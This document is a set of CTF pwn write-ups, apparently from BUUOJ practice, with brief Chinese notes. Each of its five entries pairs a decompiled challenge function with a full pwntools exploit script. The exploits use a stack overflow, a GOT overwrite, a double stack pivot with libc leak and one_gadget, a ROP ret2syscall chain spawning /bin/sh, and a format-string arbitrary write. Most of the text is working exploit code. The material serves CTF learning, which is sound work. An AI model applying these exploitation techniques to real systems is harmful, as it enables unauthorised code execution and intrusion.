cmcc_pwnme2
int __cdecl userfunction(char *src)
{
char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF
strcpy(dest, src);
return printf("Hello, %s\n", src);
}
fmt漏洞但是用不上, 看一下可以利用的函数
int exec_string()
{
char s; // [esp+Bh] [ebp-Dh] BYREF
FILE *stream; // [esp+Ch] [ebp-Ch]
stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}
向bss中的string传入flag路径
然后调用exec_string
读取flag
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27289
filename = "./pwnme2"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
# context.log_level = "debug"
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
# plt_puts = 0x08048490
# got_puts = 0x0804A028
plt_gets = 0x08048440
exec_string = 0x080485CB
bss_string = 0x0804A060
payload = cyclic(112) + p32(plt_gets) + p32(exec_string) + p32(bss_string)
io.recvuntil('Please input:\n')
io.sendline(payload)
io.sendline("/flag\x00")
print(io.recvall())
if __name__ == "__main__":
pwn()
io.interactive()
picoctf_2018_got_shell
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
_DWORD *v3; // [esp+14h] [ebp-114h] BYREF
int v4; // [esp+18h] [ebp-110h] BYREF
char s[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v6; // [esp+11Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
setvbuf(_bss_start, 0, 2, 0);
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
__isoc99_scanf("%x", &v3);
sprintf(s, "Okay, now what value would you like to write to 0x%x", v3);
puts(s);
__isoc99_scanf("%x", &v4);
sprintf(s, "Okay, writing 0x%x to 0x%x", v4, v3);
puts(s);
*v3 = v4;
puts("Okay, exiting now...\n");
exit(1);
}
有个后门
int win()
{
return system("/bin/sh");
}
所以直接覆盖返回地址到后门即可, 不过这个思路有个问题就是不能泄露栈地址, 实际是不可行的
所以换一个思路, 就是用打got表, 换掉puts@got到后门即可
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27406
filename = "./PicoCTF_2018_got-shell"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 1
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
puts_got = elf.got['puts']
win_addr = elf.sym['win']
log.info("puts got address: %#x", puts_got)
# log.info(hex(puts_got))
io.sendlineafter("4 byte value?\n", hex(puts_got))
io.recv()
io.sendline(hex(win_addr))
if __name__ == "__main__":
pwn()
io.interactive()
actf_2019_babystack
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 result; // rax
char s[208]; // [rsp+0h] [rbp-D0h] BYREF
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
signal(14, handler);
alarm(0x3Cu);
memset(s, 0, sizeof(s));
puts("Welcome to ACTF's babystack!");
sleep(3u);
puts("How many bytes of your message?");
putchar(62);
sub_400A1A();
if ( nbytes <= 0xE0 )
{
printf("Your message will be saved at %p\n", s);
puts("What is the content of your message?");
putchar(62);
read(0, s, nbytes);
puts("Byebye~");
result = 0LL;
}
else
{
puts("I've checked the boundary!");
result = 1LL;
}
return result;
}
有限输入, 无整数溢出, 可以覆盖rbp和ret addr, 所以采用
双重栈迁移, 第一次泄露libc, 第二次ret2libc, 打onegadget
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27035
filename = "./ACTF_2019_babystack"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
main_addr = 0x00000000004008F6
leave_ret_addr = 0x0000000000400a18
pop_rdi_addr = 0x0000000000400ad3
libc_one_gadget = 0x4f2c5
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
io.sendlineafter('>', str(0xe0))
io.recvuntil('Your message will be saved at ')
s_addr = int(io.recvuntil('\n',drop = True), 16)
log.info("s buffer address: %#x", s_addr)
payload = cyclic(8) + p64(pop_rdi_addr) + p64(elf.got['puts'])
payload += p64(elf.plt['puts']) + p64(main_addr)
payload += cyclic(0xd0 - len(payload))
payload += p64(s_addr) + p64(leave_ret_addr)
io.sendafter('>', payload)
io.recvuntil('Byebye~\n')
puts_addr = u64(io.recvuntil('\n',drop = True).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
one_gadget_addr = libc_base + libc_one_gadget
io.sendlineafter('>', str(0xe0))
io.recvuntil('Your message will be saved at ')
s_addr = int(io.recvuntil('\n',drop = True), 16)
log.info("s buffer address: %#x", s_addr)
payload = cyclic(8) + p64(one_gadget_addr)
payload += cyclic(0xd0 - len(payload))
payload += p64(s_addr) + p64(leave_ret_addr)
io.sendafter('>', payload)
if __name__ == "__main__":
pwn()
io.interactive()
这里解答一下之前某个题, 双重栈迁移打不通的问题, 因为栈迁移会把ebp/rbp pop飞掉, 所以会破坏栈帧结构, 要多次使用漏洞, 需要从main/start开始, 不能直接从vul函数开始, 需要回复回正常栈帧结构.
picoctf_2018_can_you_gets_me
int vuln()
{
char v1[24]; // [esp+0h] [ebp-18h] BYREF
puts("GIVE ME YOUR NAME!");
return gets(v1);
}
静态编译
ROP + ret2syscall
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27801
filename = "./PicoCTF_2018_can-you-gets-me"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
pop_ebx_addr = 0x080481c9
pop_ecx_addr = 0x080de955
pop_edx_addr = 0x0806f02a
pop_eax_addr = 0x080b81c6
int_0x80_addr = 0x0806cc25
gets_addr = elf.sym['gets']
writable_addr = 0x80eb000
payload = cyclic(0x18 + 4) + p32(gets_addr) + p32(pop_edx_addr) + p32(writable_addr)
payload += p32(pop_edx_addr) + p32(0)
payload += p32(pop_ecx_addr) + p32(0)
payload += p32(pop_ebx_addr) + p32(writable_addr)
payload += p32(pop_eax_addr) + p32(0xB) + p32(int_0x80_addr)
io.sendlineafter("GIVE ME YOUR NAME!\n", payload)
io.send(b"/bin/sh\x00")
if __name__ == "__main__":
pwn()
io.interactive()
mrctf2020_easy_equation
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+Fh] [rbp-1h] BYREF
memset(&s, 0, 0x400uLL);
fgets(&s, 1023, stdin);
printf(&s);
if ( 11 * judge * judge + 17 * judge * judge * judge * judge - 13 * judge * judge * judge - 7 * judge == 198 )
system("exec /bin/sh");
return 0;
}
fmt任意地址写, 绕过equation检测, 解一下方程, 得知judge == 2
凑一个字符, 使得参数地址对齐
judge
在第8个参数
另外, 64位传参,可能存在被/x00截断的情况, 调试发现按8传参走不通, 补个字符, 按9传参
from pwn import *
from LibcSearcher import *
url, port = "node4.buuoj.cn", 27391
filename = "./mrctf2020_easy_equation"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
judge_addr = 0x000000000060105C
payload = "AA%9$nZZZ".encode() + p64(judge_addr)
io.sendline(payload)
if __name__ == "__main__":
pwn()
io.interactive()